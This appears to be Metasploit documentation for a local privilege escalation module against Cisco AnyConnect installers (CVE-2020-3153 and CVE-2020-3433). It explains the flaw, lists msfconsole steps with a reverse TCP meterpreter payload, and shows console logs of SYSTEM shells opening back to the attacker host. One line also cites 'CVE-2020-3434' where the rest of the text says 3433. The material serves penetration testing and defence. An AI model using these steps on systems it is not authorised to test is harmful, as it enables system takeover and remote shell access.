## Vulnerable Application

The installer component of Cisco AnyConnect Secure Mobility Client for Windows
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
to create/overwrite files in arbitrary locations with system level privileges.

The installer component of Cisco AnyConnect Secure Mobility Client for Windows
prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers
to execute code on the affected machine with with system level privileges.

Both attacks consist in sending a specially crafted IPC request to the TCP
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
Secure Mobility Agent service. This service will then launch the vulnerable
installer component (`vpndownloader`), which copies itself to an arbitrary
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
executed with system privileges. Since `vpndownloader` is also vulnerable to DLL
hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same
location `vpndownloader` will be copied to get code execution with system
privileges.

The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect
Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been
successfully tested against Cisco AnyConnect Secure Mobility Client versions
4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version
1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).

AnyConnect Secure Mobility Client is not publicly available and only customers
with active contracts can download it. For this reason, download links have not
been provided.

## Install the Application

  1. Unzip the AnyConnect package
  2. Open the extracted folder
  3. Run `Setup.exe`
  4. Select `Core & VPN` only (no need to install the full package)
  5. Click `Install Selected`
  6. Confirm you want to install this specific version of Anyconnect (click `OK`)
  7. Accept the EULA (click `Accept`)
  8. `Installation complete` (click `OK`)... enjoy

  Or just run the `anyconnect-win-x.y.zzzzz-core-vpn-predeploy-k9.msi` installer and
  follow the installation steps with the default options.

## Verification Steps

  1. Start msfconsole
  2. Get a session with non-administrative privileges
  3. Do: ```use exploit/windows/local/anyconnect_lpe```
  4. Do: ```set SESSION <SESSION>```
  5. Do: ```set payload windows/meterpreter/reverse_tcp```
  6. Do: ```set LHOST <LHOST>```
  7. Do: ```set LPORT <LPORT>```
  8. Do: ```check```
  9. Do: ```run```
  10. You should get a new session as the SYSTEM user

## Options
### INSTALL_PATH
  Set Cisco AnyConnect Secure Mobility Client installation path (where
  `vpndownloader.exe`should be found). It will be automatically detectedif not set.

### CVE
  Set the CVE to use (CVE-2020-3153 or CVE-2020-3433). Default: CVE-2020-3433.

### ForceExploit

  Set this to `true` to override the `check` result during exploitation.

## Scenarios

### Windows 10 version 1909 (x64) with AnyConnect 4.8.3052 - CVE-2020-3433

```
msf exploit(windows/local/anyconnect_lpe) > set SESSION 1
SESSION => 1
msf exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf exploit(windows/local/anyconnect_lpe) > set CVE CVE-2020-3433
CVE => CVE-2020-3433
msf exploit(windows/local/anyconnect_lpe) > check 

[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433).
msf exploit(windows/local/anyconnect_lpe) > run

[*] Started reverse TCP handler on 192.168.1.24:4445 
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433).
[*] "-ipc" argument needed
[*] Creating directory C:\Users\ATGO\AppData\Local\Temp\16Nkpr
[*] Meterpreter Session
[*] C:\Users\ATGO\AppData\Local\Temp\16Nkpr created
[*] Writing the payload to C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll
[*] IPC Command: "CAC-nc-install        -ipc=76731      C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe     C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 288 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 3 opened (192.168.1.24:4445 -> 192.168.1.20:44712) at 2020-09-01 14:12:05 +0200
[+] Deleted C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll
[+] Deleted C:\Users\ATGO\AppData\Local\Temp\16Nkpr
[*] Shutdown the socket

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo 
Computer        : W
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
```
### Windows 7 SP1  with AnyConnect 4.7.4056 - CVE-2020-3153

```
msf exploit(windows/local/anyconnect_lpe) > set session 4
session => 4
msf exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3153
cve => CVE-2020-3153
msf exploit(windows/local/anyconnect_lpe) > check 

[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
msf exploit(windows/local/anyconnect_lpe) > run

[*] Started reverse TCP handler on 192.168.1.24:4445 
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
[*] "-ipc" argument needed
[*] Writing the payload to C:\ProgramData\Cisco\dbghelp.dll
[*] IPC Command: "CAC-nc-install        -ipc=29278      C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\iZnG\iZnG\iZnG\iZnG\../../../../vpndownloader.exe     -"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 270 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 5 opened (192.168.1.24:4445 -> 192.168.1.20:45098) at 2020-09-01 14:23:13 +0200
[+] Deleted C:\ProgramData\Cisco\dbghelp.dll
[+] Deleted C:\ProgramData\Cisco\vpndownloader.exe
[*] Shutdown the socket

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo 
Computer        : ATGO-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
```

### Windows 7 SP1  with AnyConnect 4.7.4056 - CVE-2020-3433

```
msf exploit(windows/local/anyconnect_lpe) > set session 4
session => 4
msf exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3433
cve => CVE-2020-3433
msf exploit(windows/local/anyconnect_lpe) > check 

[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
msf exploit(windows/local/anyconnect_lpe) > run

[*] Started reverse TCP handler on 192.168.1.24:4445 
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
[*] "-ipc" argument needed
[*] Creating directory C:\Users\atgo\AppData\Local\Temp\fPTN4o
[*] Meterpreter Session
[*] C:\Users\atgo\AppData\Local\Temp\fPTN4o created
[*] Writing the payload to C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll
[*] IPC Command: "CAC-nc-install        -ipc=88243      C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe     C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 288 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 6 opened (192.168.1.24:4445 -> 192.168.1.20:45102) at 2020-09-01 14:24:48 +0200
[+] Deleted C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll
[+] Deleted C:\Users\atgo\AppData\Local\Temp\fPTN4o
[*] Shutdown the socket

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo 
Computer        : ATGO-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 
```
